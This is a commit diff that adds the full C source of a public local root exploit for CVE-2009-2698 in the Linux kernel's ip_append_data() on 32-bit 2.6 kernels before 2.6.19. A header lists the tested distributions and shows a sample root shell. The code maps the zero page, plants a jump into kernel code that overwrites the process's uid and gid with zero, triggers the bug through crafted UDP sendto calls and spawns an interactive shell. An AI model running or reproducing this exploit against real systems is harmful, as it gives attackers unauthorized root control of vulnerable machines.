|
| 1 | +/* |
| 2 | +** |
| 3 | +** 0x82-CVE-2009-2698 |
| 4 | +** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit |
| 5 | +** |
| 6 | +** Tested White Box 4(2.6.9-5.ELsmp), |
| 7 | +** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp), |
| 8 | +** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5), |
| 9 | +** Fedora Core 6(2.6.18-1.2798.fc6). |
| 10 | +** |
| 11 | +** -- |
| 12 | +** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. |
| 13 | +** Thankful to them. |
| 14 | +** |
| 15 | +** -- |
| 16 | +** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698 |
| 17 | +** sh-3.1# id |
| 18 | +** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t |
| 19 | +** sh-3.1# |
| 20 | +** -- |
| 21 | +** exploit by <p0c73n1(at)gmail(dot)com>. |
| 22 | +** |
| 23 | +*/ |
| 24 | + |
| 25 | +#include <stdio.h> |
| 26 | +#include <unistd.h> |
| 27 | +#include <string.h> |
| 28 | +#include <sys/socket.h> |
| 29 | +#include <sys/mman.h> |
| 30 | +#include <fcntl.h> |
| 31 | +#include <sys/personality.h> |
| 32 | + |
| 33 | +unsigned int uid, gid; |
| 34 | +void get_root_uid(unsigned *task) |
| 35 | +{ |
| 36 | + unsigned *addr=task; |
| 37 | + while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){ |
| 38 | + addr++; |
| 39 | + } |
| 40 | + addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */ |
| 41 | + addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */ |
| 42 | + return; |
| 43 | +} |
| 44 | +void exploit(); |
| 45 | +void kernel_code() |
| 46 | +{ |
| 47 | + asm("exploit:\n" |
| 48 | + "push %eax\n" |
| 49 | + "movl $0xfffff000,%eax\n" |
| 50 | + "andl %esp,%eax\n" |
| 51 | + "pushl (%eax)\n" |
| 52 | + "call get_root_uid\n" |
| 53 | + "addl $4,%esp\n" |
| 54 | + "popl %eax\n"); |
| 55 | + return; |
| 56 | +} |
| 57 | +void *kernel=kernel_code; |
| 58 | + |
| 59 | +int main(int argc, char **argv) |
| 60 | +{ |
| 61 | + int fd=0; |
| 62 | + char buf[1024]; |
| 63 | + struct sockaddr x0x; |
| 64 | + void *zero_page; |
| 65 | + |
| 66 | + uid=getuid(); |
| 67 | + gid=getgid(); |
| 68 | + if(uid==0){ |
| 69 | + fprintf(stderr,"[-] check ur uid\n"); |
| 70 | + return -1; |
| 71 | + } |
| 72 | + if(personality(0xffffffff)==PER_SVR4){ |
| 73 | + if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){ |
| 74 | + perror("[-] mprotect()"); |
| 75 | + return -1; |
| 76 | + } |
| 77 | + } |
| 78 | + else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){ |
| 79 | + perror("[-] mmap()"); |
| 80 | + return -1; |
| 81 | + } |
| 82 | + *(unsigned long *)0x0=0x90909090; |
| 83 | + *(char *)0x00000004=0x90; /* +1 */ |
| 84 | + *(char *)0x00000005=0xff; |
| 85 | + *(char *)0x00000006=0x25; |
| 86 | + *(unsigned long *)0x00000007=(unsigned long)&kernel; |
| 87 | + *(char *)0x0000000b=0xc3; |
| 88 | + |
| 89 | + if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){ |
| 90 | + perror("[-] socket()"); |
| 91 | + return -1; |
| 92 | + } |
| 93 | + x0x.sa_family=AF_UNSPEC; |
| 94 | + memset(x0x.sa_data,0x82,14); |
| 95 | + memset((char *)buf,0,sizeof(buf)); |
| 96 | + sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x)); |
| 97 | + sendto(fd,buf,1024,0,&x0x,sizeof(x0x)); |
| 98 | + if(getuid()==uid){ |
| 99 | + printf("[-] exploit failed, try again\n"); |
| 100 | + return -1; |
| 101 | + } |
| 102 | + close(fd); |
| 103 | + execl("/bin/sh","sh","-i",NULL); |
| 104 | + return 0; |
| 105 | +} |
| 106 | + |
| 107 | +/* eoc */ |
0 commit comments